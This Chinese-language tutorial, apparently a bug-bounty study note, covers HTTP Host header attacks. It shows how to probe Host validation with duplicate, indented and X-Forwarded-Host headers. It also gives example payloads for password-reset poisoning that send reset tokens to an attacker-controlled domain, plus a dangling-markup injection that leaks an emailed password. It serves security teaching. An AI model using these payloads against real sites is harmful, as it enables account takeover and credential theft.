发布于 

SRC-HOST头攻击

1. Host头攻击

1.1 Host头作用

  • 是确定客户端要与哪个后端组件通信。如果请求不包含主机头,或者如果主机头在某种程度上格式错误,则在请求路由到目标应用程序时会导致问题
  • 单个Web服务器托管多个网站或应用程序。尽管这些不同的网站都有不同的域名,但它们都与服务器共享一个共同的IP地址。
  • 网站托管在不同的后端服务器上,但客户端和服务器之间的所有流量都通过中间系统进行路由。它们的所有域名也会解析为中间组件的单个IP地址。
  • 依赖Host头来指定预期的收件人。当浏览器发送请求时,目标URL将解析为特定服务器的IP地址。当此服务器接收到请求时,它会参考主机标头来确定预期的后端,并相应地转发请求

1.2 HOST头攻击

网站以不安全的方式处理Host的值,并且用于网站不同系统之间的各种交互。如果服务器没有合理验证或过滤该值,则会让攻击荷载成功进入到系统内部。尤其实际上Host的值是用户可控的,因此会导致许多安全问题

  • 密码重置中毒
  • 业务逻辑漏洞
  • 服务器端访问请求伪造(SSRF)
  • SQL注入、XSS等

1.3 如何发现Host漏洞

  1. Host 为任意值,但仍能成功访问

    服务器有时被配置为默认或备用选项,以防它们接收到对它们不识别的域名的请求。

  2. 返回错误响应

  3. 检查验证是否有缺陷

    某些解析算法将省略Host报头中的端口,这意味着只对域名进行验证。如果您还可以提供非数字端口,则可以保持域名不变,以确保您到达目标应用程序,同时可能会通过该端口注入有效负载idea.com:idead.com

  4. 发送有歧义的请求

    1. 注入重复的Host

      1
      2
      3
      GET /example HTTP/1.1
      Host: idea.com
      Host: idead.com
    2. 提供绝对路径的URL

      1
      2
      3
      # 这样可以的话就不需要在Host里改了
      GET https://vulnerable-website.com/ HTTP/1.1
      Host: bad-stuff-here
    3. 尝试不同的协议(http\https),查看响应是否不同

    4. 添加换行符(表头缩进)

      1
      2
      3
      4
      # 如果前端忽略了缩进头部,则该请求将作为VULNERABLE-Website.com的普通请求处理。现在假设后端忽略前导空格(未忽略缩进头部),并且在出现重复项的情况下优先使用第一个标头。我们就可以利用host传递任意值。
      GET /example HTTP/1.1
      Host: idead
      Host: idea.com
  5. httpd请求走私

  6. X-Forwarded-Host 覆盖原Host

    1. X-Forwarded-Server
    2. X-Host
    3. X-HTTP-Host-Override
    4. Forwarded
    5. X-forwarded-For

2. 密码重置中毒漏洞

应用场景多用于:通过链接认证的密码找回密码修改通过链接点击确认绕过的。

2.1 原理

**白话描述:**在需要用户邮箱认证的前提下,通过对hostX-Forwarded-Host的操作,让服务器在产生链接时欺骗服务器其域名,产生一个链接到攻击服务器的链接,我们可以通过该服务器获取其修改密码的token ,从而修改该用户密码。(钓鱼)

举例:

正常链接:http://idea.com?token=aaaaa

伪造链接:http://idead.com?token=aaaa

2.2 通过Host头

更换Host 头,但你仍能成功访问到程序。

1
2
3
4
# 正常请求host
Host: account.idea.com
# 伪造请求host
Host: account.idead.com # 此处是我们伪造的域名,其实是我们自己的服务器

该邮箱的用户点击我们的链接时(表示同意修改邮箱密码),该链接在修改host后产生的链接地址已经是我们服务器伪造的域名地址,所以请求的地址不会是原来的idea而是我们自己的服务器,我们就可以直接拿到他的token ,从而伪造该用户对账户信息进行修改。

2.3 通过X-Forworded-Host

Host头被拦截,我们可以通过X-Forwarded-Host来绕过。

1
2
Host: idea.com  # 这个用于路由校验
X-Forwarded-Host: idead.com # 这个用于后端逻辑

Host的逻辑相同。

2.4 双写Host头绕过

1
2
Host: idea.com # 路由喜欢校验第一个
Host: idead.com # 后端喜欢校验最后一个

2.5 通过XSS助力

当某网站直接返回的密码,我们可以通过XSS对链接操作从而来绕过。

正常返回邮件HTML:

1
<p>Please <a href='https://account.idea.com/login'>click here</a> to login with your new password: EqTvdZeckf</p>

通过Host注入:

1
Host: idea.com:'<a href="https://account.idead.com/?

邮件显示源码:

1
<p>Please <a href='https://account.idea.com:'<a href="https://account.idead.com/?/login'>click here</a> to login with your new password: BqnjJKmaQ0</p>

解题思路

通过'把原标签闭合,然后再建立一个新的<a>标签,用?将标签后的所有内容作为参数,发送到我们的服务器。